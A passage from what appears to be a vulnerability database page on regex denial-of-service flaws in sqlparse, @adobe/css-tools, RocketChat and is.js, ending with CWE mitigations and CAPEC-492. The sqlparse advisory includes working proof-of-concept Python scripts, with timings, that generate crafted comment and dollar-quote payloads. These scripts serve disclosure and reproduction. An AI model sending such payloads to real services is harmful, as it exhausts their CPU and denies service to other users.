(`sqlparse/lexer.py:136-138`): an unterminated `/*` scans to the end of the input and fails, so N unclosed openers cost O(N\u00b2).\n\n**PoC**\n\n```python\nimport time, sqlparse\n\nfor n in (2000, 4000, 8000, 16000):\n    payload = \"/*x \" * n\n    t0 = time.perf_counter()\n    sqlparse.parse(payload)\n    print(f\"n={n:6d}  bytes={len(payload):7d}  elapsed={time.perf_counter()-t0:.3f}s\")\n```\n\nLexing-only timings on `0.5.6.dev0` (commit `f80af6a`), isolating the regex work from grouping:\n\n| openers | bytes | lexing |\n|---------|-------|--------|\n| 2,000   | 8 KB  | 0.057 s |\n| 4,000   | 16 KB | 0.196 s |\n| 8,000   | 32 KB | 0.729 s |\n| 16,000  | 64 KB | 2.717 s |\n\nRoughly 3.7x per doubling of the input, i.e. quadratic.\n\n**Note for reproduction:** `\"/*\" * n` on its own is *linear* and does not reproduce the issue \u2014 in `/*/*/*...` the openers form overlapping `*/` pairs, so the pattern matches immediately. The opener must be padded (e.g. `\"/*x \"`) so that it never closes. A reproduction that only tries the unpadded form will wrongly conclude the issue is not present.\n\n### Impact\n\nThis is a **Regular Expression Denial of Service (ReDoS)** vulnerability. Any application or service that passes user-controlled SQL text to `sqlparse.parse()`, `sqlparse.format()`, or `sqlparse.split()` is affected. No authentication, special configuration, or elevated privileges are required \u2014 a single crafted HTTP request (or any other input channel carrying SQL text) is sufficient.\n\nUnder sustained attack, one or more CPU cores can be kept at 100% utilization, degrading or completely blocking service for all other users. Because the grouping-stage token limit fires only after the regex work is done, it provides no protection against this attack.\n\nAffected use cases include: web applications that accept and display or format SQL; database administration tools; ORM query inspectors; SQL linters and formatters exposed as APIs.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.11-slim\n\n# Install build dependencies\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n    build-essential \\\n    \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# Copy the sqlparse repository source code\nCOPY repo/ /app/repo/\n\n# Install sqlparse from local source in editable mode\nRUN pip install --no-cache-dir -e /app/repo/\n\n# Copy the PoC script (build context is the parent of vuln-001/)\nCOPY vuln-001/poc.py /app/poc.py\n\n# Default: run the PoC\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nPoC: ReDoS in sqlparse dollar-quoted literal regex (VULN-001)\n\nAffected code: sqlparse/keywords.py:33\n    (r\u0027((?\u003c![\\\\w\\\\\"\\\\$])\\\\$(?:[_A-Z\u00c0-\u00dc]\\\\w*)?\\\\$)[\\\\s\\\\S]*?\\\\1\u0027, tokens.Literal)\n\nThe backreference \\\\1 forces the regex engine to scan the entire remaining input\nfor each unmatched unique dollar-quote delimiter, yielding O(n^2) CPU complexity.\n\nAttack input: a sequence of N unique, never-closed dollar-quote openers\n    $a0$x $a1$x $a2$x ... $a{N-1}$x\n\nEach opener $ai$ is unique, so the regex engine must exhaust the remaining\nstring before concluding no match exists.  With N openers this creates\nO(N^2) regex work.\n\nExpected observation: elapsed time grows quadratically (roughly 4x per 2x N).\nPASS criterion: timing ratio between n=2000 and n=1000 \u003e= 3.0 (clear super-linear).\n\"\"\"\n\nimport sys\nimport time\n\ntry:\n    import sqlparse\n    from sqlparse.exceptions import SQLParseError\nexcept ImportError as exc:\n    print(f\"[ERROR] Cannot import sqlparse: {exc}\", file=sys.stderr)\n    sys.exit(2)\n\nprint(\"=\" * 60)\nprint(\"VULN-001 ReDoS PoC: sqlparse dollar-quoted literal regex\")\nprint(\"=\" * 60)\nprint(f\"sqlparse version: {sqlparse.__version__}\")\nprint()\n\n\ndef make_payload(n: int) -\u003e str:\n    \"\"\"Generate N unique unmatched dollar-quote openers.\n\n    Each token \u0027$ai$x\u0027 looks like an opening dollar-quote delimiter\n    but never has a closing delimiter, so the regex engine must scan\n    the entire remaining string before giving up on each one.\n    \"\"\"\n    return \" \".join(f\"$a{i}$x\" for i in range(n))\n\n\nresults = []\n\nsample_sizes = [250, 500, 1000, 2000]\n\nfor n in sample_sizes:\n    payload = make_payload(n)\n    byte_len = len(payload.encode())\n    t_start = time.perf_counter()\n    try:\n        sqlparse.parse(payload)\n        status = \"ok\"\n    except SQLParseError as exc:\n        status = f\"SQLParseError({exc})\"\n    except Exception as exc:\n        status = f\"Exception({type(exc).__name__}: {exc})\"\n    elapsed = time.perf_counter() - t_start\n\n    results.append((n, byte_len, elapsed, status))\n    print(f\"n={n:\u003e5}  bytes={byte_len:\u003e7}  elapsed={elapsed:\u003e8.3f}s  status={status}\")\n\nprint()\n\n# Compute scaling ratios between consecutive sample sizes\nprint(\"Scaling analysis (O(n^2) expected -\u003e ratio \u003e= ~4x per 2x input):\")\nfor i in range(1, len(results)):\n    n_prev, _, t_prev, _ = results[i - 1]\n    n_curr, _, t_curr, _ = results[i]\n    if t_prev \u003e 0:\n        ratio = t_curr / t_prev\n        n_ratio = n_curr / n_prev\n        print(f\"  n={n_prev} -\u003e n={n_curr} (input x{n_ratio:.1f}): time ratio = {ratio:.2f}x\")\n\nprint()\n\n# PASS/FAIL verdict based on timing ratio between largest two points\n_, _, t_1000, _ = results[2]  # n=1000\n_, _, t_2000, _ = results[3]  # n=2000\n\nPASS_THRESHOLD = 3.0\n\nif t_1000 \u003e 0:\n    ratio_1000_2000 = t_2000 / t_1000\nelse:\n    ratio_1000_2000 = 0.0\n\nprint(f\"Key ratio (n=1000 -\u003e n=2000): {ratio_1000_2000:.2f}x\")\n\nif ratio_1000_2000 \u003e= PASS_THRESHOLD:\n    print()\n    print(\"[PASS] Super-linear (O(n^2)) scaling CONFIRMED.\")\n    print(f\"       Time ratio {ratio_1000_2000:.2f}x \u003e= threshold {PASS_THRESHOLD}x.\")\n    print(\"       ReDoS vulnerability in sqlparse dollar-quote regex is REPRODUCED.\")\n    sys.exit(0)\nelse:\n    print()\n    print(\"[FAIL] Super-linear scaling NOT confirmed within this run.\")\n    print(f\"       Time ratio {ratio_1000_2000:.2f}x \u003c threshold {PASS_THRESHOLD}x.\")\n    print(\"       The host may be too fast or JIT effects obscured the result.\")\n    print(\"       Try larger sample sizes or re-run on a slower host.\")\n    sys.exit(1)\n```",
  "id": "GHSA-prg7-hcfm-mfcr",
  "modified": "2026-08-17T17:49:55Z",
  "published": "2026-08-17T17:49:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-prg7-hcfm-mfcr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/andialbrecht/sqlparse/commit/d1d80602741f77ec78e5a04ce4719244cf32352e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/andialbrecht/sqlparse"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "sqlparse: Inefficient Regex Handling of Dollar-Quoted SQL Literals Leads to ReDoS (Denial of Service)"
}

GHSA-PRR3-C3M5-P7Q2

Vulnerability from github – Published: 2023-11-30 19:51 – Updated: 2023-12-14 22:02
VLAI
Summary
@adobe/css-tools Improper Input Validation and Inefficient Regular Expression Complexity
Details

Impact

@adobe/css-tools version 4.3.1 and earlier are affected by an Improper Input Validation vulnerability that could result in a denial of service while attempting to parse CSS.

Patches

The issue has been resolved in 4.3.2.

Workarounds

None

References

N/A

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@adobe/css-tools"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-48631"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-11-30T19:51:29Z",
    "nvd_published_at": "2023-12-14T13:15:54Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n@adobe/css-tools version 4.3.1 and earlier are affected by an Improper Input Validation vulnerability that could result in a denial of service while attempting to parse CSS.\n\n### Patches\nThe issue has been resolved in 4.3.2.\n\n### Workarounds\nNone\n\n### References\nN/A\n",
  "id": "GHSA-prr3-c3m5-p7q2",
  "modified": "2023-12-14T22:02:39Z",
  "published": "2023-11-30T19:51:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/adobe/css-tools/security/advisories/GHSA-prr3-c3m5-p7q2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-48631"
    },
    {
      "type": "WEB",
      "url": "https://github.com/adobe/css-tools/issues/211"
    },
    {
      "type": "WEB",
      "url": "https://github.com/adobe/css-tools/pull/249"
    },
    {
      "type": "WEB",
      "url": "https://github.com/adobe/css-tools/commit/472bef91bde9caab305f3f36231ad0c253581b43"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/adobe/css-tools"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@adobe/css-tools Improper Input Validation and Inefficient Regular Expression Complexity"
}

GHSA-PRXP-75XX-3CXW

Vulnerability from github – Published: 2025-06-09 21:30 – Updated: 2025-06-09 21:30
VLAI
Details

A vulnerability, which was classified as problematic, has been found in RocketChat up to 7.6.1. This issue affects the function parseMessage of the file /apps/meteor/app/irc/server/servers/RFC2813/parseMessage.js. The manipulation of the argument line leads to inefficient regular expression complexity. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-5892"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-09T20:15:25Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability, which was classified as problematic, has been found in RocketChat up to 7.6.1. This issue affects the function parseMessage of the file /apps/meteor/app/irc/server/servers/RFC2813/parseMessage.js. The manipulation of the argument line leads to inefficient regular expression complexity. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.",
  "id": "GHSA-prxp-75xx-3cxw",
  "modified": "2025-06-09T21:30:51Z",
  "published": "2025-06-09T21:30:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5892"
    },
    {
      "type": "WEB",
      "url": "https://github.com/RocketChat/Rocket.Chat/pull/35711"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/mmmsssttt404/0fcda3b3e85edafc4eaa6816aa252deb"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.311663"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.311663"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.585751"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-PVRW-G6FX-MCX2

Vulnerability from github – Published: 2023-07-06 19:24 – Updated: 2023-07-06 21:46
VLAI
Summary
is_js vulnerable to Regular Expression Denial of Service
Details

is.js is a general-purpose check library. Versions 0.9.0 and prior contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS). is.js uses a regex copy-pasted from a gist to validate URLs. Trying to validate a malicious string can cause the regex to loop "forever." This vulnerability was found using a CodeQL query which identifies inefficient regular expressions. is.js has no patch for this issue.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "is_js"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-26302"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-07-06T21:46:34Z",
    "nvd_published_at": "2022-12-22T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "is.js is a general-purpose check library. Versions 0.9.0 and prior contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS). is.js uses a regex copy-pasted from a gist to validate URLs. Trying to validate a malicious string can cause the regex to loop \"forever.\" This vulnerability was found using a CodeQL query which identifies inefficient regular expressions. is.js has no patch for this issue.",
  "id": "GHSA-pvrw-g6fx-mcx2",
  "modified": "2023-07-06T21:46:34Z",
  "published": "2023-07-06T19:24:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26302"
    },
    {
      "type": "WEB",
      "url": "https://github.com/arasatasaygin/is.js/issues/320"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/arasatasaygin/is.js"
    },
    {
      "type": "ADVISORY",
      "url": "https://securitylab.github.com/advisories/GHSL-2020-295-redos-is.js"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "is_js vulnerable to Regular Expression Denial of Service"
}

Mitigation
Architecture and Design

Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.

Mitigation
System Configuration

Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.

Mitigation
Implementation

Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.

Mitigation
Implementation

Limit the length of the input that the regular expression will process.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.